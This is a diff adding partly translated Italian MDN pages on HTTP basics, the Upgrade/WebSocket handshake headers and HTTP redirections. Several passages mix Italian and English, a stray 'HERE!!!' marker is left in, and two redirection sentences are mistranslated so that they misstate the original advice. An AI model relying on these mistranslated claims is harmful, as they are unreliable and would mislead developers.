+<h3 id="Il_Web_server">Il Web server</h3>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Sul lato opposto del canale di comunicazione, è il server, che <em>serve (restituisce)</em> il documento come richiesto dal client.</span> <span title="">Un server appare virtualmente come un'unica macchina: questo perché potrebbe essere un insieme di server, i quali condividono il carico (bilanciamento del carico) o un complesso software che interroga altri computer (come una cache, un DB server o un e-commerce</span> <span title="">server), generando totalmente o parzialmente il documento su richiesta.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="it"><span title="">Un server non è necessariamente una singola macchina, ma più istanze di software server possono essere ospitate sulla stessa macchina.</span> <span title="">Con HTTP / 1.1 e l'intestazione {{HTTPHeader ("Host")}}, possono persino condividere lo stesso indirizzo IP. HERE!!!</span></span></p>
+
+<h3 id="Proxies">Proxies</h3>
+
+<p>Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called <strong>proxies</strong>. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:</p>
+
+<ul>
+ <li>caching (the cache can be public or private, like the browser cache)</li>
+ <li>filtering (like an antivirus scan or parental controls)</li>
+ <li>load balancing (to allow multiple servers to serve the different requests)</li>
+ <li>authentication (to control access to different resources)</li>
+ <li>logging (allowing the storage of historical information)</li>
+</ul>
+
+<h2 id="Basic_aspects_of_HTTP">Basic aspects of HTTP</h2>
+
+<h3 id="HTTP_is_simple">HTTP is simple</h3>
+
+<p>HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.</p>
+
+<h3 id="HTTP_is_extensible">HTTP is extensible</h3>
+
+<p>Introduced in HTTP/1.0, <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.</p>
+
+<h3 id="HTTP_is_stateless_but_not_sessionless">HTTP is stateless, but not sessionless</h3>
+
+<p>HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.</p>
+
+<h3 id="HTTP_and_connections">HTTP and connections</h3>
+
+<p>A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be <em>reliable</em>, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.</p>
+
+<p>Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.</p>
+
+<p>In order to mitigate this flaw, HTTP/1.1 introduced <em>pipelining</em> (which proved difficult to implement) and <em>persistent connections</em>: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.</p>
+
+<p>Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> which builds on UDP to provide a more reliable and efficient transport protocol.</p>
+
+<h2 id="What_can_be_controlled_by_HTTP">What can be controlled by HTTP</h2>
+
+<p>This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the <em>origin constraint</em>, by contrast, has only been added in the 2010s.</p>
+
+<p>Here is a list of common features controllable with HTTP.</p>
+
+<ul>
+ <li><em><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></em><br>
+  How documents are cached can be controlled by HTTP. The server can instruct proxies and clients, about what to cache and for how long. The client can instruct intermediate cache proxies to ignore the stored document.</li>
+ <li><em>Relaxing the origin constraint</em><br>
+  To prevent snooping and other privacy invasions, Web browsers enforce strict separation between Web sites. Only pages from the <strong>same origin</strong> can access all the information of a Web page. Though such constraint is a burden to the server, HTTP headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even be security-related reasons to do so.</li>
+ <li><em>Authentication</em><br>
+  Some pages may be protected so that only specific users can access them. Basic authentication may be provided by HTTP, either using the {{HTTPHeader("WWW-Authenticate")}} and similar headers, or by setting a specific session using <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</li>
+ <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy and tunneling</a></em><br>
+  Servers or clients are often located on intranets and hide their true IP address from other computers. HTTP requests then go through proxies to cross this network barrier. Not all proxies are HTTP proxies. The SOCKS protocol, for example, operates at a lower level. Other protocols, like ftp, can be handled by these proxies.</li>
+ <li><em>Sessions</em><br>
+  Using HTTP cookies allows you to link requests with the state of the server. This creates sessions, despite basic HTTP being a state-less protocol. This is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output.</li>
+</ul>
+
+<h2 id="HTTP_flow">HTTP flow</h2>
+
+<p>When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:</p>
+
+<ol>
+ <li>Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.</li>
+ <li>Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example:
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>Read the response sent by the server, such as:
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>Close or reuse the connection for further requests.</li>
+</ol>
+
+<p>If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.</p>
+
+<h2 id="HTTP_Messages">HTTP Messages</h2>
+
+<p>HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a <em>frame</em>, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.</p>
+
+<p>There are two types of HTTP messages, requests and responses, each with its own format.</p>
+
+<h3 id="Requests">Requests</h3>
+
+<p>An example HTTP request:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Requests consists of the following elements:</p>
+
+<ul>
+ <li>An HTTP <a href="/en-US/docs/Web/HTTP/Methods">method</a>, usually a verb like {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} or a noun like {{HTTPMethod("OPTIONS")}} or {{HTTPMethod("HEAD")}} that defines the operation the client wants to perform. Typically, a client wants to fetch a resource (using <code>GET</code>) or post the value of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> (using <code>POST</code>), though more operations may be needed in other cases.</li>
+ <li>The path of the resource to fetch; the URL of the resource stripped from elements that are obvious from the context, for example without the {{Glossary("protocol")}} (<code>http://</code>), the {{Glossary("domain")}} (here, <code>developer.mozilla.org</code>), or the TCP {{Glossary("port")}} (here, <code>80</code>).</li>
+ <li>The version of the HTTP protocol.</li>
+ <li>Optional <a href="/en-US/docs/Web/HTTP/Headers">headers</a> that convey additional information for the servers.</li>
+ <li>Or a body, for some methods like <code>POST</code>, similar to those in responses, which contain the resource sent.</li>
+</ul>
+
+<h3 id="Responses">Responses</h3>
+
+<p>An example response:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Responses consist of the following elements:</p>
+
+<ul>
+ <li>The version of the HTTP protocol they follow.</li>
+ <li>A <a href="/en-US/docs/Web/HTTP/Status">status code</a>, indicating if the request was successful, or not, and why.</li>
+ <li>A status message, a non-authoritative short description of the status code.</li>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">headers</a>, like those for requests.</li>
+ <li>Optionally, a body containing the fetched resource.</li>
+</ul>
+
+<h2 id="APIs_based_on_HTTP">APIs based on HTTP</h2>
+
+<p>The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.</p>
+
+<p>Another API, <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>HTTP è un protocollo estensibile che è facile da usare. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.</p>
+
+<p>Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple <a href="/en-US/docs/Tools/Network_Monitor">HTTP message monitor</a>.</p>
diff --git a/files/it/web/http/protocol_upgrade_mechanism/index.html b/files/it/web/http/protocol_upgrade_mechanism/index.html
new file mode 100644
index 0000000000..0ab63fed8e
--- /dev/null
+++ b/files/it/web/http/protocol_upgrade_mechanism/index.html
@@ -0,0 +1,148 @@
+---
+title: Protocol upgrade mechanism
+slug: Web/HTTP/Protocol_upgrade_mechanism
+translation_of: Web/HTTP/Protocol_upgrade_mechanism
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">Il <a href="/en-US/docs/Web/HTTP">protocollo</a> <a href="/en-US/docs/Web/HTTP">HTTP/1.1 </a> fornisce uno speciale meccanismo che può essere utilizzato per aggiornare a una connessione già stabilita da un protocollo diverso, utilizzando il campo d'intestazione(Header) {{HTTPHeader("Upgrade")}} ..</span></p>
+
+<p>Questo meccanismo è opzionale; non può essere utilizzato per insistere su una modifica del protocollo. Le implementazioni possono scegliere di non sfruttare un aggiornamento anche se supportano il nuovo protocollo e, in pratica, questo meccanismo viene utilizzato principalmente per avviare una connessione WebSocket.</p>
+
+<p>Notare anche che HTTP / 2 non consente esplicitamente l'uso di questo meccanismo; è specifico per HTTP / 1.1.</p>
+
+<h2 id="Aggiornamento_delle_connessioni_HTTP1.1">Aggiornamento delle connessioni HTTP/1.1</h2>
+
+<p>Il campo d'intestazione(Header) {{HTTPHeader("Upgrade")}} viene utilizzato dai client per invitare il server a passare a uno dei protocolli elencati, in ordine decrescente.</p>
+
+<p><code><span style="background-color: #ffffff;">Poiché </span>Upgrade</code> è un'intestazione(Header) hop-by-hop, deve essere elencata anche nel campo d'intestazione(Header) {{HTTPHeader("Connection")}} . Ciò significa che una richiesta che include Upgrade sarebbe simile a:</p>
+
+<pre class="syntaxbox notranslate">GET /index.html HTTP/1.1
+Host: www.example.com
+Connection: upgrade
+</pre>
+
+<p>Potrebbero essere necessarie altre intestazioni(Header) a seconda del protocollo richiesto; for example, ad esempio, gli aggiornamenti di <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebSocket">WebSocket</a> consentono intestazioni (headers) aggiuntive per configurare i dettagli sulla connessione WebSocket e per offrire un certo grado di sicurezza nell'apertura della connessione. Vedi {{anch("Upgrading to a WebSocket connection")}} per maggiori dettagli.</p>
+
+<p>Se il server decide di aggiornare la connessione, restituisce lo stato di risposta {{HTTPStatus(101, "101 Switching Protocols")}} con un'intestazione d'aggiornamento (Upgrade header) che specifica il protocollo/i a cui passare. Se non aggiorna o non può farlo ignora l'<code>Upgrade</code> header e rimanda regolarmente una risposta (ad esempio, un {{HTTPStatus(200, "200 OK")}}).</p>
+
+<p>Subito dopo aver inviato lo status code <code>101</code>, il server può iniziare ad utilizzare il nuovo protocollo, eseguendo ogni eventuale protocol-specific handshakes se necessario. In effetti, la connessione diventa una two-way pipe non appena la risposta aggiornata è completa, e le richieste che ha dato inizio all'aggiornamento può essere completata tramite il nuovo protocollo.</p>
+
+<h2 id="Usi_comuni_per_questo_meccanismo">Usi comuni per questo meccanismo</h2>
+
+<p>Qui esaminiamo i casi d'uso più comuni per l' {{HTTPHeader("Upgrade")}} del header.</p>
+
+<h3 id="Aggiornamento_a_una_connessione_WebSocket">Aggiornamento a una connessione WebSocket</h3>
+
+<p>Di gran lunga, il caso d'uso più comune per l'aggiornamento di una connessione HTTP è l'utilizzo di WebSocket, che vengono sempre implementati aggiornando una connessione HTTP o HTTPS. Tieni presente che se stai aprendo una nuova connessione utilizzando il <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebSocket">WebSocket API</a>, o qualsiasi libreria che esegue il WebSocket, la maggior parte se non tutto questo viene fatto per te. Ad esempio, l'apertura di una connessione WebSocket è semplice come:</p>
+
+<pre class="brush: js notranslate">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre>
+
+<p>Il costruttore {{domxref("WebSocket.WebSocket", "WebSocket()")}} fa tutto il lavoro di creazione di una connessione iniziale HTTP / 1.1 e dopo gestisce l'handshaking e il processo di aggiornamento per te.</p>
+
+<div class="note">
+<p>Puoi anche utilizzare lo schema URL <code>"wss://"</code> per aprire una connessione sicura WebSocket.</p>
+</div>
+
+<p>Se devi creare una connessione WebSocket da zero, dovrai gestire tu il processo di handshaking. Dopo aver creato la sessione iniziale HTTP / 1.1, è necessario richiedere l'aggiornamento aggiungendo a una richiesta standard gli {{HTTPHeader("Upgrade")}} e {{HTTPHeader("Connection")}} headers, come segue:</p>
+
+<pre class="notranslate">Connection: Upgrade
+Upgrade: websocket</pre>
+
+<h3 id="Specifiche_di_WebSocket_headers">Specifiche di WebSocket headers</h3>
+
+<p>Le seguenti intestazioni sono coinvolte nel processo di aggiornamento del WebSocket. Oltre al {{HTTPHeader("Upgrade")}} e {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.</p>
+
+<h4 id="HTTPHeaderSec-WebSocket-Extensions">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4>
+
+<p>Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one <code>Sec-WebSocket-Extension</code> header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.</p>
+
+<pre class="syntaxbox notranslate">Sec-WebSocket-Extensions: <var>extensions</var></pre>
+
+<dl>
+ <dt><code><var>extensions</var></code></dt>
+ <dd>A comma-separated list of extensions to request (or agree to support). These should be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket Extension Name Registry</a>. Extensions which take parameters do so by using semicolon delineation.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre class="notranslate">Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre>
+
+<h4 id="HTTPHeaderSec-WebSocket-Key">{{HTTPHeader("Sec-WebSocket-Key")}}</h4>
+
+<p>Fornisce al server le informazioni necessarie per confermare che il cliente ha il diritto di richiedere un aggiornamento a WebSocket. Questa intestazione (header) può essere utilizzata quando i clienti meno sicuri (HTTP) desiderano effettuare l'upgrade, al fine di offrire un certo grado di protezione contro gli attacchi. Il valore della chiave è calcolato utilizzando un algoritmo definito nelle specifiche del WebSocket, di conseguenza ciò non garantisce sicurezza. Invece, aiuta a prevenire che i client non WebSocket non richiedano inavvertitamente, o attraverso un uso improprio, una connessione WebSocket. In sostanza, quindi, questa chiave conferma semplicemente che "Sì, intendo davvero aprire una connessione WebSocket".</p>
+
+<p>Questa intestazione(header) viene aggiunta automaticamente dai client che scelgono di usarla; non può essere aggiunta usando il metodo {{domxref("XMLHttpRequest.setRequestHeader()")}}.</p>
+
+<pre class="syntaxbox notranslate">Sec-WebSocket-Key: <var>key</var></pre>
+
+<dl>
+ <dt><code><var>key</var></code></dt>
+ <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade response to you.</dd>
+</dl>
+
+<p>The server's response's {{HTTPHeader("Sec-WebSocket-Accept")}} header will have a value computed based upon the specified <code><var>key</var></code>.</p>
+
+<h4 id="HTTPHeaderSec-WebSocket-Protocol">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4>
+
+<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p>
+
+<pre class="syntaxbox notranslate">Sec-WebSocket-Protocol: <var>subprotocols</var></pre>
+
+<dl>
+ <dt><code><var>subprotocols</var></code></dt>
+ <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd>
+</dl>
+
+<h4 id="HTTPHeaderSec-WebSocket-Version">{{HTTPHeader("Sec-WebSocket-Version")}}</h4>
+
+<h5 id="Request_header">Request header</h5>
+
+<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p>
+
+<pre class="syntaxbox notranslate">Sec-WebSocket-Version: <var>version</var></pre>
+
+<dl>
+ <dt><code><var>version</var></code></dt>
+ <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd>
+</dl>
+
+<h5 id="Response_header">Response header</h5>
+
+<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p>
+
+<pre class="syntaxbox notranslate">Sec-WebSocket-Version: <var>supportedVersions</var></pre>
+
+<dl>
+ <dt><code><var>supportedVersions</var></code></dt>
+ <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd>
+</dl>
+
+<h3 id="Response-only_headers">Response-only headers</h3>
+
+<p>The response from the server may include these.</p>
+
+<h4 id="HTTPHeaderSec-WebSocket-Accept">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4>
+
+<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the response headers.</p>
+
+<pre class="syntaxbox notranslate">Sec-WebSocket-Accept: <var>hash</var></pre>
+
+<dl>
+ <dt><code><var>hash</var></code></dt>
+ <dd>If a {{HTTPHeader("Sec-WebSocket-Key")}} header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd>
+</dl>
+
+<h2 id="References">References</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li>Specifications and RFCs:
+  <ul>
+   <li>{{RFC(7230)}}</li>
+   <li>{{RFC(6455)}}</li>
+   <li>{{RFC(7540)}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/it/web/http/redirections/index.html b/files/it/web/http/redirections/index.html
new file mode 100644
index 0000000000..1952b2e6e9
--- /dev/null
+++ b/files/it/web/http/redirections/index.html
@@ -0,0 +1,318 @@
+---
+title: Reindirizzamenti in HTTP
+slug: Web/HTTP/Redirections
+translation_of: Web/HTTP/Redirections
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>L'<em>URL redirection,</em> anche conosciuto come <em>URL forwarding,</em> è una tecnica che serve a dare più di un indirzzo URL ad una pagina, un form, oppure un intero sito o applicazione. L'HTTP ha uno speciale tipo di risposta, chiamata <em><strong>HTTP redirect</strong></em>, per questa operazione.</div>
+
+<div></div>
+
+<div>I redirect portano a termine molti scopi:</div>
+
+<ul>
+ <li>Reindirizzamenti temporanei quando un sito è spento o in manutenzione</li>
+ <li>Reindirizzamenti permanenti per preservare link o bookmark esistenti dopo il cambio dell'URL del sito, pagine di elaborazione mentre viene caricato un file, ecc.</li>
+</ul>
+
+<h2 id="Principio">Principio</h2>
+
+<p>In HTTP, il reindirizzamento è causato da un server che manda una speciale risposta <em>redirect</em> ad una richiesta. Le riposte di reindirizzamento hanno dei <a href="/en-US/docs/Web/HTTP/Status">codici di stato</a> che iniziano con un <code>3</code>, e un {{ httpheader("Location") }} header contenente l'URL a cui deve essere reindirizzato.</p>
+
+<p>Quando i browser ricevono un reindirizzamento, caricano immediatamente il nuovo URL assegnatogli nel <code>Location</code> header. Inoltre visto che l'impatto di questa operazione è così basso, gli utenti non notano quasi mai il reindirizzamento.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p>
+
+<p>Ci sono molti tipi di reindirizzamenti, raggruppati in tre categorie:</p>
+
+<ol>
+ <li><a href="#Reindirizzamenti_permanenti">Reindirizzamenti permanenti</a></li>
+ <li><a href="#Reindirizzamenti_temporanei">Reindirizzamenti temporanei</a></li>
+ <li><a href="#Reindirizzamenti_speciali">Reindirizzamenti speciali</a></li>
+</ol>
+
+<h3 id="Reindirizzamenti_permanenti">Reindirizzamenti permanenti</h3>
+
+<p>Questi reindirizzamenti sono stati creati per rimanenere per sempre. Implicano che l'URL originale non dovrebbe più essere usato, e dovrebbe essere rimpiazzato da uno nuovo. I motori di ricerca, i lettori RSS e altri crawler aggiorneranno l'URL originale per la risorsa.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Codice</th>
+   <th scope="col">Testo</th>
+   <th scope="col">Gestione del metodo</th>
+   <th scope="col">Caso d'uso tipico</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code>301</code></th>
+   <td>
+    <p><code>Moved Permanently</code></p>
+
+    <p><code>(Spostato Permanentemente)</code></p>
+   </td>
+   <td>{{HTTPMethod("GET")}} metodi non cambiati.<br>
+    Altri potrebbero o meno essere cambiati in {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td>
+   <td>Riorganizzazione di un sito web.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>308</code></th>
+   <td>
+    <p><code>Permanent Redirect</code></p>
+
+    <p><code>(Reindirizzamento Permanente)</code></p>
+   </td>
+   <td>I metodi e il body non sono cambiati.</td>
+   <td>Riorganizzazione di un sito web, con dei link o operazioni che non usufruiscono del GET.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="attr1">[1] La specificazione non intendeva permettere il cambiamenti nei metodi, ma ci sono degli user agents esistenti che cambiano i loro metodi. {{HTTPStatus("308")}} è stato creato per rimuovere l'ambiguità del comportamento quando vengono usati metodi che non usufruiscono del <code>GET</code>.</p>
+
+<h3 id="Reindirizzamenti_temporanei">Reindirizzamenti temporanei</h3>
+
+<p>Qualche volta la risorsa richiesta non può essere raggiunta dal suo luogo originale, ma può essere raggiunta da un'altro luogo. In questo caso, un reindirizzamento temporaneo può essere usato.</p>
+
+<p>I motori di ricerca e altri crawler non memorizzano il nuovo URL temporaneo. Reindirizzamenti temporanei vengono anche usati quando vengono create, aggiornate, o eliminate delle risorse, per mostrare pagine di avanzamento temporanee.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Codice</th>
+   <th scope="col">Testo</th>
+   <th scope="col">Gestione del metodo</th>
+   <th scope="col">Casi d'uso tipici</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code>302</code></th>
+   <td>
+    <p><code>Found</code></p>
+
+    <p><code>(Trovato)</code></p>
+   </td>
+   <td>{{HTTPMethod("GET")}} metodi non cambiati.<br>
+    Altri potrebbero o meno essere cambiati in {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td>
+   <td>La pagina web non è disponibile temporaneamente per ragioni non previste.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>303</code></th>
+   <td>
+    <p><code>See Other</code></p>
+
+    <p><code>(Vedi altro)</code></p>
+   </td>
+   <td>{{HTTPMethod("GET")}} metodi non cambiati.<br>
+    Altri <em>cambiati</em> a <code>GET</code> (body perso).</td>
+   <td>Usato per reindirizzare dopo un {{HTTPMethod("PUT")}} o un {{HTTPMethod("POST")}}, In modo che l'aggiornamento della pagina non causi nuovamente l'operazione.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>307</code></th>
+   <td>
+    <p><code>Temporary Redirect</code></p>
+
+    <p><code>(Reindirizzamento Temporaneo)</code></p>
+   </td>
+   <td>Metodi e body non sono cambiati.</td>
+   <td>La pagina web non è disponibile temporaneamente per ragioni non previste. Meglio del <code>302</code> quando operazioni che non usufruiscono del <code>GET</code> sono disponibili nel sito.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p id="attr2">[2] La specificazione non intendeva permettere il cambiamenti nei metodi, ma ci sono degli user agents esistenti che cambiano i loro metodi. {{HTTPStatus("307")}} è stato creato per rimuovere l'ambiguità del comportamento quando vengono usati metodi che non usufruiscono del <code>GET</code>.</p>
+
+<h3 id="Reindirizzamenti_speciali">Reindirizzamenti speciali</h3>
+
+<p>{{HTTPStatus("304")}} (Non modificato) reindirizza ad unapagina nella copia savata localmente nella cache (che non era vecchia), e {{HTTPStatus("300")}} (Multiple Choice) è un reindirizzamento manuale: il body, presentato dal browser come una pagina web, lista i possibili reindirizzamenti e l'utente clicca su uno di essi per selezionarlo.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Codice</th>
+   <th scope="col">Testo</th>
+   <th scope="col">Casi d'uso tipici</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code>300</code></th>
+   <td>
+    <p><code>Mutliple Choice</code></p>
+
+    <p><code>(Scelta Multipla)</code></p>
+   </td>
+   <td>Non molte: le scelte sono listate in una pagina HTML nel body. Scelte leggibili dalle macchine sono incentivate ad essere spedite come {{HTTPHeader("Link")}} headers con <code>rel=alternate</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code>304</code></th>
+   <td>
+    <p><code>Not Modified</code></p>
+
+    <p><code>(Non Modificata)</code></p>
+   </td>
+   <td>Inviata per rivalidate richieste condizionali. Indica che la risposta nella cache può essere ancora usata.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Modi_alternativi_per_specificare_un_reindirizzamento">Modi alternativi per specificare un reindirizzamento</h2>
+
+<p>I reindirizzamenti HTTP non sono l'unico modo per definire dei reindirizzamenti. Ce ne sono infatti altri due:</p>
+
+<ol>
+ <li>Reindirizzamenti HTML con l'elemento {{HTMLElement("meta")}}</li>
+ <li>Reindirizzamenti di JavaScript tramite il <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a></li>
+</ol>
+
+<h3 id="Reindirizzamenti_HTML">Reindirizzamenti HTML</h3>
+
+<p>I reindirizzamenti HTML sono il modo migliore per creare reindirizzamenti, ma qualche volta non si ha il controllo sul server. In quel caso, prova a usare l'elemento {{HTMLElement("meta")}} con il suo attributo {{htmlattrxref("http-equiv", "meta")}} impostato a  <code>Refresh</code> nel {{HTMLElement("head")}} della pagina. Quando viene mostrato sulla pagina, il browser andrà all'URL indicato.</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta http-equiv="Refresh" content="0; URL=https://example.com/"&gt;
+&lt;/head&gt;
+</pre>
+
+<p>L'attributo {{htmlattrxref("content")}} dovrebbe iniziare con un numero indicando quanti secondi il browser dovrebbe aspettare prima di reindirizzare all'URL impostato. Impostarlo sempre a <code>0</code> per motivi di accessibilità.</p>
+
+<p>Ovviamente questo metodo non funziona solo in HTML, e non può essere usato per immagini o altri tipi di contenuti.</p>
+
+<h3 id="Reindirizzamenti_con_JavaScript">Reindirizzamenti con JavaScript</h3>
+
+<p>Reindirizzamenti con JavaScript sono compiuti impostando una stringa dell'URL alla proprietà {{domxref("window.location")}}, caricando la nuova pagina:</p>
+
+<pre class="brush: js notranslate">window.location = "https://example.com/";</pre>
+
+<p>Come i reindirizzamenti HTML, questo non funziona con tutte le risorse, e ovviamente, questo funzionerà solo con client che eseguono JavaScript. D'altro canto, ci sono più possibiltà: per esempio, si può causare il reindirizzamento solo se alcune condizioni sono rispettate.</p>
+
